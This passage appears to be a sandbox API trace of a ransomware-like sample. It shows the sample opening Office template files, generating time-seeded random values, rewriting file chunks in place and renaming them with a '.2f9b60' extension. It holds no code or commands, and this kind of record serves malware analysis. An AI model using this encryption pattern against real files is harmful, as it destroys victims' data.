sprintf (in: _Dest=0x2026386a, _Format="%c%c" | out: _Dest="1c") returned 2 [0200.428] sprintf (in: _Dest=0x2026386c, _Format="%c%c" | out: _Dest="b3") returned 2 [0200.428] sprintf (in: _Dest=0x2026386e, _Format="%c%c" | out: _Dest="f0") returned 2 [0200.429] sprintf (in: _Dest=0x20263870, _Format="%c%c" | out: _Dest="0c") returned 2 [0200.429] sprintf (in: _Dest=0x20263872, _Format="%c%c" | out: _Dest="86") returned 2 [0200.429] sprintf (in: _Dest=0x20263874, _Format="%c%c" | out: _Dest="22") returned 2 [0200.429] sprintf (in: _Dest=0x20263876, _Format="%c%c" | out: _Dest="56") returned 2 [0200.429] sprintf (in: _Dest=0x20263878, _Format="%c%c" | out: _Dest="ff") returned 2 [0200.429] sprintf (in: _Dest=0x2026387a, _Format="%c%c" | out: _Dest="b6") returned 2 [0200.429] sprintf (in: _Dest=0x2026387c, _Format="%c%c" | out: _Dest="5c") returned 2 [0200.429] sprintf (in: _Dest=0x2026387e, _Format="%c%c" | out: _Dest="6a") returned 2 [0200.429] RtlInitAnsiString (in: DestinationString=0x2ca4fe68, SourceString="ecb6c4f43c1cb3f00c862256ffb65c6a" | out: DestinationString="ecb6c4f43c1cb3f00c862256ffb65c6a") [0200.429] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ca4fe38, SourceString="ecb6c4f43c1cb3f00c862256ffb65c6a", AllocateDestinationString=1 | out: DestinationString="ecb6c4f43c1cb3f00c862256ffb65c6a") returned 0x0 [0200.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd97210 [0200.430] wcscat (in: _Dest=0x1b866b40, _Source="ecb6c4f4" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ecb6c4f4") returned="C:\\Program Files\\Microsoft Office\\Office14\\ecb6c4f4" [0200.430] wcscat (in: _Dest=0x1b866b40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ecb6c4f4.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\ecb6c4f4.2f9b60" [0200.430] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\ecb6c4f4.2f9b60", NtPathName=0x2ca4fe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\ecb6c4f4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1cdb5570 Thread: id = 2283 os_tid = 0x1c20 [0143.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originreport.dotx")) returned 0x20 [0143.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginReport.Dotx", dwFileAttributes=0x20) returned 1 [0143.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originreport.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ebc [0143.928] GetFileSizeEx (in: hFile=0x1ebc, lpFileSize=0x3fdcf820 | out: lpFileSize=0x3fdcf820*=372753) returned 1 [0143.928] SetFilePointerEx (in: hFile=0x1ebc, liDistanceToMove=0x5b00d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.928] ReadFile (in: hFile=0x1ebc, lpBuffer=0x3fdcf7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3fdcf7e8, lpOverlapped=0x0 | out: lpBuffer=0x3fdcf7a0*, lpNumberOfBytesRead=0x3fdcf7e8*=0x4, lpOverlapped=0x0) returned 1 [0143.931] SetFilePointerEx (in: hFile=0x1ebc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff340 [0143.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff310 [0143.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff250 [0143.931] NtQuerySystemTime (in: CurrentTime=0x3fdcf6e0 | out: CurrentTime=0x3fdcf6e0*=132462177491746000) returned 0x0 [0143.931] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0x6337cf3 [0143.931] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0x68966472 [0143.931] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0x13c7fb24 [0143.931] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0x454527d8 [0143.931] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0x2123328a [0143.931] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0x7cc520b9 [0143.931] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0x2a4a6e33 [0143.931] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0x2d462709 [0143.931] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0xe2fff33 [0143.931] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0x6005f4f5 [0143.932] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0x16285a56 [0143.932] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0x7895493d [0143.932] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0x762ad093 [0143.932] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0x47a849bb [0143.932] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0x61d692d1 [0143.932] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0x37a9c035 [0143.932] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0xedce3ca [0143.932] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0xe32342 [0143.932] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0xa00e2c [0143.932] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0x5876a68e [0143.932] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0x49d721f3 [0143.932] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0x5772c8cc [0143.932] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0x1e1df5c1 [0143.932] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0x197d5a4f [0143.932] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0x7bd8c2ea [0143.932] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0x3e4be262 [0143.932] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0x401773a5 [0143.932] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0x33bd822b [0143.932] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0x31b8541f [0143.932] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0x5a184f32 [0143.932] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0x6d4a7bb5 [0143.932] RtlRandomEx (in: Seed=0x3fdcf6d0 | out: Seed=0x3fdcf6d0) returned 0xa463b5b [0143.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7e0 [0143.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503e10 [0143.941] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe470 [0143.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503e10) returned 1 [0143.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff250) returned 1 [0143.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff340) returned 1 [0143.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421e4d90 [0143.942] SetFilePointerEx (in: hFile=0x1ebc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.942] ReadFile (in: hFile=0x1ebc, lpBuffer=0x421e4d90, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3fdcf740, lpOverlapped=0x0 | out: lpBuffer=0x421e4d90*, lpNumberOfBytesRead=0x3fdcf740*=0x3c00, lpOverlapped=0x0) returned 1 [0143.947] SetFilePointerEx (in: hFile=0x1ebc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059a10 [0143.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503e10 [0143.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff340 [0143.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff340) returned 1 [0143.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421fb5f0 [0143.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff340 [0143.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff250 [0143.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff250) returned 1 [0143.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503e10) returned 1 [0143.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059a10) returned 1 [0143.948] WriteFile (hFile=0x1ebc, lpBuffer=0x421fb5f0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3fdcf740, lpOverlapped=0x0) [0179.883] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421fb5f0) returned 1 [0179.884] SetFilePointerEx (in: hFile=0x1ebc, liDistanceToMove=0x30c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.884] ReadFile (in: hFile=0x1ebc, lpBuffer=0x421e4d90, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3fdcf740, lpOverlapped=0x0 | out: lpBuffer=0x421e4d90*, lpNumberOfBytesRead=0x3fdcf740*=0x3c00, lpOverlapped=0x0) returned 1 [0180.724] SetFilePointerEx (in: hFile=0x1ebc, liDistanceToMove=0x30c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.724] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c600 [0180.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b130 [0180.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0180.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0180.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42896280 [0180.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0180.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac2210 [0180.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac2210) returned 1 [0180.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b130) returned 1 [0180.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c600) returned 1 [0180.728] WriteFile (in: hFile=0x1ebc, lpBuffer=0x42896280*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3fdcf740, lpOverlapped=0x0 | out: lpBuffer=0x42896280*, lpNumberOfBytesWritten=0x3fdcf740*=0x3c00, lpOverlapped=0x0) returned 1 [0198.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42896280) returned 1 [0198.543] SetFilePointerEx (in: hFile=0x1ebc, liDistanceToMove=0x57411, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.543] ReadFile (in: hFile=0x1ebc, lpBuffer=0x421e4d90, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3fdcf740, lpOverlapped=0x0 | out: lpBuffer=0x421e4d90*, lpNumberOfBytesRead=0x3fdcf740*=0x3c00, lpOverlapped=0x0) returned 1 [0198.729] SetFilePointerEx (in: hFile=0x1ebc, liDistanceToMove=0x57411, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059560 [0198.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504810 [0198.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b530 [0198.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b530) returned 1 [0198.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42d37ca0 [0198.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b530 [0198.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b560 [0198.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b560) returned 1 [0198.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504810) returned 1 [0198.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059560) returned 1 [0198.733] WriteFile (in: hFile=0x1ebc, lpBuffer=0x42d37ca0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3fdcf740, lpOverlapped=0x0 | out: lpBuffer=0x42d37ca0*, lpNumberOfBytesWritten=0x3fdcf740*=0x3c00, lpOverlapped=0x0) returned 1 [0214.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d37ca0) returned 1 [0214.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43104870 [0214.756] SetFilePointerEx (in: hFile=0x1ebc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.756] WriteFile (in: hFile=0x1ebc, lpBuffer=0x431f5a60*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x3fdcf7f0, lpOverlapped=0x0 | out: lpBuffer=0x431f5a60*, lpNumberOfBytesWritten=0x3fdcf7f0*=0x154, lpOverlapped=0x0) returned 1 [0219.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0219.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e5f0 [0219.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a570 [0219.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a570) returned 1 [0219.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b82a570 [0219.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b920 [0219.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a2a0 [0219.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a2a0) returned 1 [0219.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0219.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0219.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1b82c120 [0219.162] sprintf (in: _Dest=0x1b82c120, _Format="%c%c" | out: _Dest="6c") returned 2 [0219.162] sprintf (in: _Dest=0x1b82c122, _Format="%c%c" | out: _Dest="44") returned 2 [0219.162] sprintf (in: _Dest=0x1b82c124, _Format="%c%c" | out: _Dest="b3") returned 2 [0219.162] sprintf (in: _Dest=0x1b82c126, _Format="%c%c" | out: _Dest="1b") returned 2 [0219.162] sprintf (in: _Dest=0x1b82c128, _Format="%c%c" | out: _Dest="5b") returned 2 [0219.162] sprintf (in: _Dest=0x1b82c12a, _Format="%c%c" | out: _Dest="56") returned 2 [0219.162] sprintf (in: _Dest=0x1b82c12c, _Format="%c%c" | out: _Dest="37") returned 2 [0219.162] sprintf (in: _Dest=0x1b82c12e, _Format="%c%c" | out: _Dest="5b") returned 2 [0219.162] sprintf (in: _Dest=0x1b82c130, _Format="%c%c" | out: _Dest="74") returned 2 [0219.162] sprintf (in: _Dest=0x1b82c132, _Format="%c%c" | out: _Dest="52") returned 2 [0219.162] sprintf (in: _Dest=0x1b82c134, _Format="%c%c" | out: _Dest="44") returned 2 [0219.162] sprintf (in: _Dest=0x1b82c136, _Format="%c%c" | out: _Dest="0f") returned 2 [0219.162] sprintf (in: _Dest=0x1b82c138, _Format="%c%c" | out: _Dest="14") returned 2 [0219.162] sprintf (in: _Dest=0x1b82c13a, _Format="%c%c" | out: _Dest="71") returned 2 [0219.162] sprintf (in: _Dest=0x1b82c13c, _Format="%c%c" | out: _Dest="fb") returned 2 [0219.162] sprintf (in: _Dest=0x1b82c13e, _Format="%c%c" | out: _Dest="32") returned 2 [0219.162] sprintf (in: _Dest=0x1b82c140, _Format="%c%c" | out: _Dest="d0") returned 2 [0219.162] sprintf (in: _Dest=0x1b82c142, _Format="%c%c" | out: _Dest="00") returned 2 [0219.162] sprintf (in: _Dest=0x1b82c144, _Format="%c%c" | out: _Dest="00") returned 2 [0219.162] sprintf (in: _Dest=0x1b82c146, _Format="%c%c" | out: _Dest="ae") returned 2 [0219.162] sprintf (in: _Dest=0x1b82c148, _Format="%c%c" | out: _Dest="8d") returned 2 [0219.162] sprintf (in: _Dest=0x1b82c14a, _Format="%c%c" | out: _Dest="46") returned 2 [0219.162] sprintf (in: _Dest=0x1b82c14c, _Format="%c%c" | out: _Dest="10") returned 2 [0219.162] sprintf (in: _Dest=0x1b82c14e, _Format="%c%c" | out: _Dest="63") returned 2 [0219.162] sprintf (in: _Dest=0x1b82c150, _Format="%c%c" | out: _Dest="c0") returned 2 [0219.162] sprintf (in: _Dest=0x1b82c152, _Format="%c%c" | out: _Dest="68") returned 2 [0219.162] sprintf (in: _Dest=0x1b82c154, _Format="%c%c" | out: _Dest="ee") returned 2 [0219.162] sprintf (in: _Dest=0x1b82c156, _Format="%c%c" | out: _Dest="01") returned 2 [0219.162] sprintf (in: _Dest=0x1b82c158, _Format="%c%c" | out: _Dest="c6") returned 2 [0219.162] sprintf (in: _Dest=0x1b82c15a, _Format="%c%c" | out: _Dest="ce") returned 2 [0219.163] sprintf (in: _Dest=0x1b82c15c, _Format="%c%c" | out: _Dest="c2") returned 2 [0219.163] sprintf (in: _Dest=0x1b82c15e, _Format="%c%c" | out: _Dest="59") returned 2 [0219.163] sprintf (in: _Dest=0x1b82c160, _Format="%c%c" | out: _Dest="1d") returned 2 [0219.163] sprintf (in: _Dest=0x1b82c162, _Format="%c%c" | out: _Dest="72") returned 2 [0219.163] RtlInitAnsiString (in: DestinationString=0x3fdcf868, SourceString="6c44b31b5b56375b7452440f1471fb32d00000ae8d461063c068ee01c6cec2591d72" | out: DestinationString="6c44b31b5b56375b7452440f1471fb32d00000ae8d461063c068ee01c6cec2591d72") [0219.163] RtlAnsiStringToUnicodeString (in: DestinationString=0x3fdcf838, SourceString="6c44b31b5b56375b7452440f1471fb32d00000ae8d461063c068ee01c6cec2591d72", AllocateDestinationString=1 | out: DestinationString="6c44b31b5b56375b7452440f1471fb32d00000ae8d461063c068ee01c6cec2591d72") returned 0x0 [0219.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4318c480 [0219.163] wcscat (in: _Dest=0x4318c3e0, _Source="6c44b31b5b56375b7" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6c44b31b5b56375b7") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6c44b31b5b56375b7" [0219.163] wcscat (in: _Dest=0x4318c3e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6c44b31b5b56375b7.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6c44b31b5b56375b7.2f9b60" [0219.163] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6c44b31b5b56375b7.2f9b60", NtPathName=0x3fdcf810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\6c44b31b5b56375b7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0219.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x43110d20 Thread: id = 2284 os_tid = 0x1c1c [0143.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originmergeletter.dotx")) returned 0x20 [0143.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginMergeLetter.Dotx", dwFileAttributes=0x20) returned 1 [0143.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\OriginMergeLetter.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\originmergeletter.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bf4 [0143.965] GetFileSizeEx (in: hFile=0x1bf4, lpFileSize=0x3bfcf9e0 | out: lpFileSize=0x3bfcf9e0*=127764) returned 1 [0143.965] SetFilePointerEx (in: hFile=0x1bf4, liDistanceToMove=0x1f310, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.965] ReadFile (in: hFile=0x1bf4, lpBuffer=0x3bfcf960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3bfcf9a8, lpOverlapped=0x0 | out: lpBuffer=0x3bfcf960*, lpNumberOfBytesRead=0x3bfcf9a8*=0x4, lpOverlapped=0x0) returned 1 [0143.967] SetFilePointerEx (in: hFile=0x1bf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff250 [0143.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe530 [0143.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe560 [0143.967] NtQuerySystemTime (in: CurrentTime=0x3bfcf8a0 | out: CurrentTime=0x3bfcf8a0*=132462177492058000) returned 0x0 [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x338b748 [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x6cdcf6bb [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x5a7d8b84 [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x65a5be28 [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x2296fb61 [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x4f011c77 [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x283dcd0c [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x33e6d9c4 [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x2abc25fd [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x919ddbe [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x4176cac1 [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x78a8487b [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x1f78a386 [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x529d2313 [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0xb12590c [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x42a65038 [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x5e2d8c41 [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x1f5c3a6d [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x72d7479c [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x708bfaf7 [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x4d090a65 [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x116252ed [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x785a4c89 [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x4d899c01 [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x2aca7659 [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x15bc9582 [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x594032f5 [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x7a3088a0 [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x6bbcdca2 [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x5391d577 [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x4b3c6e06 [0143.968] RtlRandomEx (in: Seed=0x3bfcf890 | out: Seed=0x3bfcf890) returned 0x1ef74526 [0143.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe740 [0143.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503e10 [0143.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe650 [0143.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503e10) returned 1 [0143.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe560) returned 1 [0143.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff250) returned 1 [0143.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203b3560 [0143.980] SetFilePointerEx (in: hFile=0x1bf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.980] ReadFile (in: hFile=0x1bf4, lpBuffer=0x203b3560, 